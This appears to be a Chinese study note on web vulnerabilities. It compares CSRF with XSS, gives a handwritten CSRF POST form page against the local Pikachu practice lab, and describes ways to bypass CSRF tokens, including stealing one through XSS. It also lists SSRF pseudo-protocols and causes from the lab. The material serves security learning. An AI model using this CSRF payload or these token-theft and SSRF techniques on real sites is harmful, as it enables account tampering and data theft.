一、CSRF和XSS区别
1.CSRF
1)攻击的目标是用户的身份验证状态。攻击者诱导用户执行未经授权的操作
2)攻击者通过诱导用户访问特制的链接,利用用户在目标网站的登录状态,发送恶意请求。
3)通常通过使用CSRF token来防御,每个请求都会带有一个唯一的token,服务器验证该token是否有效,防止未经授权的请求。
2.XSS
1)攻击的目标是客户端(浏览器),攻击者通过注入恶意脚本来窃取用户数据、劫持会话等。
2)攻击者通过在网站输入框或URL中插入恶意脚本,使脚本在用户的浏览器中执行。例如,攻击者在留言板中插入恶意JavaScript代码,访问该留言板的用户的浏览器就会执行这段代码。
3)可以通过严格的输入验证、输出编码、防止脚本执行等手段防止恶意脚本注入
二、CSRF攻击步骤
1. 受害者在浏览器中登录了一个受信任的网站,并且创建了一个会话
2. 攻击者制作了一个恶意网站或网页,其中包含一个指向目标网站的恶意请求。这些请求利用了受害者的登录状态。
3. 受害者在不知道的情况下点击了攻击者构造的恶意链接,或者浏览了嵌入恶意代码的网页
4. 因为目标网站认为请求来自已认证的用户(由于受害者的浏览器会自动附带之前的认证Cookie),目标网站将执行请求中的操作。
三、CSRF手工构造POST型页面方法
<html>
<head>
<title>This is a Test Page</title>
<meta charset="UTF-8">
</head>
<body>
<form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" meth
od="post">
<input type="hidden" name="sex" value="man" />
<input type="hidden" name="phonenum" value="15566778899" />
<input type="hidden" name="add" value="
重庆邮电?学铁塔?保安室
" />
<input type="hidden" name="email" value="cyber@cqupt.edu.cn" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="
点我刷新??
" />
</form>
<script>history.pushState('','','/')</script>
</body>
</html>
解释:主体:一个form表单,action为响应链接,method为请求方法,四个隐藏的input,已经提前设置好键和键值,submit的input用于提交请求。
四、token类CSRF利用方法
1. 结合XSS漏洞
如果网站存在XSS漏洞,攻击者可以利用该漏洞获取受害者的CSRF token。
攻击者可以注入恶意脚本,使其在用户浏览器中执行,进而窃取页面中的CSRF token。例如,攻击者可以通过XSS攻击在用户页面上执行document.getElementById('csrf_token').value,然后将token发送给攻击者服务器。
一旦攻击者获取了受害者的CSRF token,就可以使用它来构造并发送恶意请求,从而绕过CSRF防护。
2. 弱随机性或可预测的Token
如果CSRF token的生成算法存在弱点或不够随机,攻击者可能能够预测或推测出合法的token。
例如,某些系统可能会使用时间戳、用户ID等可预测的信息来生成token,这使得攻击者可以通过分析规律来构造有效的CSRF token。
3. Token泄露
有些情况下,token可能会意外泄露,例如通过Referer头、日志文件或其他渠道。
如果token被包含在URL中,token也可能会通过Referer头泄露给第三方。这使得攻击者能够窃取token并利用它发起CSRF攻击。
4. 双重提交Cookie漏洞
有些防御措施会将CSRF token存储在Cookie中,并要求在请求中双重提交Cookie。然而,如果Cookie不设置为HttpOnly,攻击者可以通过JavaScript(例如XSS攻击)读取token值。
五、SSRF常用伪协议
1. file://
2. dict://
3. gopher://
4. ftp://
5. http/https
6. ldap://
7. php://
8. mailto://
9. jar://
10. netdoc://
六、SSRF pikachu靶场通关
1.
https/http
file
2.
file
https/http
七、SSRF靶场通关时根据源代码说明漏洞成因
1.curl
通过get方法得到url的参数后,对url没有任何过滤处理,就直接执行并丢给了前端
2.get_file_contents
从前端get到file后只对file做了判空处理,file_get_contents
没有过滤操作,直接吧响应包发给了前端